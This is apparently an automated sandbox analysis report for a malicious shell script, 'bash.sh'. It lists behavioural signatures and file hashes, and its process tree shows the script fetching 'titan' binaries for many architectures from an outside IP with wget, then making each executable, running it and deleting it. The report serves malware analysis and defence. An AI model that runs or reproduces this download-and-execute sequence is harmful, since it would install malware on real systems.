Overview

overview

7

Static

static

1

bash.sh

ubuntu-18.04-amd64

7

bash.sh

debian-9-armhf

7

bash.sh

debian-9-mips

7

bash.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    95s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    07/09/2026, 05:16

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General

  • Target
    bash.sh
  • Size 728B
  • Sample260907-fx973sxvbx
  • SHA256 6628f3a2559eb6bcc0da58951c4a830544d97dff975fb5fbc48267e6322f0143
  • MD5 SHA1 SHA512 TLSH
Score
7/10
credential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 13 IoCs
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bash.sh
    /tmp/bash.sh
    1⤵
    • Executes dropped EXE
    PID:1506
    • /usr/bin/wget
      wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm4l
      2⤵
      • Writes file to tmp directory
      PID:1507
    • /bin/chmod
      chmod +x /tmp/titan
      2⤵
      • File and Directory Permissions Modification
      PID:1512
    • /tmp/titan
      /tmp/titan
      2⤵
        PID:1513
      • /bin/rm
        rm -f /tmp/titan
        2⤵
          PID:1515
        • /usr/bin/wget
          wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm4tl
          2⤵
          • Writes file to tmp directory
          PID:1516
        • /bin/chmod
          chmod +x /tmp/titan
          2⤵
          • File and Directory Permissions Modification
          PID:1520
        • /tmp/titan
          /tmp/titan
          2⤵
            PID:1521
          • /bin/rm
            rm -f /tmp/titan
            2⤵
              PID:1523
            • /usr/bin/wget
              wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm5
              2⤵
              • Writes file to tmp directory
              PID:1524
            • /bin/chmod
              chmod +x /tmp/titan
              2⤵
              • File and Directory Permissions Modification
              PID:1525
            • /tmp/titan
              /tmp/titan
              2⤵
                PID:1526
              • /bin/rm
                rm -f /tmp/titan
                2⤵
                  PID:1528
                • /usr/bin/wget
                  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:1529
                • /bin/chmod
                  chmod +x /tmp/titan
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1531
                • /tmp/titan
                  /tmp/titan
                  2⤵
                    PID:1532
                  • /bin/rm
                    rm -f /tmp/titan
                    2⤵
                      PID:1534
                    • /usr/bin/wget
                      wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:1535
                    • /bin/chmod
                      chmod +x /tmp/titan
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1536
                    • /tmp/titan
                      /tmp/titan
                      2⤵
                        PID:1537
                      • /bin/rm
                        rm -f /tmp/titan
                        2⤵
                          PID:1539
                        • /usr/bin/wget
                          wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.m68k
                          2⤵
                          • Writes file to tmp directory
                          PID:1540
                        • /bin/chmod
                          chmod +x /tmp/titan
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1541
                        • /tmp/titan
                          /tmp/titan
                          2⤵
                            PID:1542
                          • /bin/rm
                            rm -f /tmp/titan
                            2⤵
                              PID:1544
                            • /usr/bin/wget
                              wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.mips
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:1545
                            • /bin/chmod
                              chmod +x /tmp/titan
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1546
                            • /tmp/titan
                              /tmp/titan
                              2⤵
                                PID:1547
                              • /bin/rm
                                rm -f /tmp/titan
                                2⤵
                                  PID:1549
                                • /usr/bin/wget
                                  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.mipsel
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:1550
                                • /bin/chmod
                                  chmod +x /tmp/titan
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1551
                                • /tmp/titan
                                  /tmp/titan
                                  2⤵
                                    PID:1552
                                  • /bin/rm
                                    rm -f /tmp/titan
                                    2⤵
                                      PID:1554
                                    • /usr/bin/wget
                                      wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.ppc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1555
                                    • /bin/chmod
                                      chmod +x /tmp/titan
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1556
                                    • /tmp/titan
                                      /tmp/titan
                                      2⤵
                                        PID:1557
                                      • /bin/rm
                                        rm -f /tmp/titan
                                        2⤵
                                          PID:1559
                                        • /usr/bin/wget
                                          wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.ppc440
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1560
                                        • /bin/chmod
                                          chmod +x /tmp/titan
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1561
                                        • /tmp/titan
                                          /tmp/titan
                                          2⤵
                                            PID:1562
                                          • /bin/rm
                                            rm -f /tmp/titan
                                            2⤵
                                              PID:1564
                                            • /usr/bin/wget
                                              wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.sh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1565
                                            • /bin/chmod
                                              chmod +x /tmp/titan
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1566
                                            • /tmp/titan
                                              /tmp/titan
                                              2⤵
                                                PID:1567
                                              • /bin/rm
                                                rm -f /tmp/titan
                                                2⤵
                                                  PID:1569
                                                • /usr/bin/wget
                                                  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.x32
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1570
                                                • /bin/chmod
                                                  chmod +x /tmp/titan
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:1571
                                                • /tmp/titan
                                                  /tmp/titan
                                                  2⤵
                                                  • Reads process memory
                                                  • Enumerates kernel/hardware configuration
                                                  • Reads runtime system information
                                                  PID:1572
                                                • /bin/rm
                                                  rm -f /tmp/titan
                                                  2⤵
                                                    PID:1575
                                                  • /usr/bin/wget
                                                    wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.x64-test
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:1576
                                                  • /bin/chmod
                                                    chmod +x /tmp/titan
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:1577
                                                  • /tmp/titan
                                                    /tmp/titan
                                                    2⤵
                                                    • Enumerates active TCP sockets
                                                    • Reads process memory
                                                    • Reads system network configuration
                                                    • Enumerates kernel/hardware configuration
                                                    • Reads runtime system information
                                                    PID:1578
                                                  • /bin/rm
                                                    rm -f /tmp/titan
                                                    2⤵
                                                      PID:1586

                                                  Network

                                                        MITRE ATT&CK Enterprise v16

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                                                        Downloads

                                                        titan
                                                        • Path /tmp/titan
                                                        • Size 189KB
                                                        • SHA256 58a0dae120762d6cfb86b8a5a68f1d11bd7743129f7c2042f67d788c0d8cdb8e
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        titan
                                                        • Path /tmp/titan
                                                        • Size 181KB
                                                        • SHA256 e194e7ea92f41bd92425eb13bfd1b4c21c453e64eabf0c1927142772ff6fb54b
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        titan
                                                        • Path /tmp/titan
                                                        • Size 181KB
                                                        • SHA256 9e76638abff0771722e96a36d325cc0d79415afa78c94e3574bdc56823676a50
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        titan
                                                        • Path /tmp/titan
                                                        • Size 980KB
                                                        • SHA256 3687e8724df7a00d1a69c1138738f556cd0ca5dfd3b9eaf2626ee758e4709c96
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download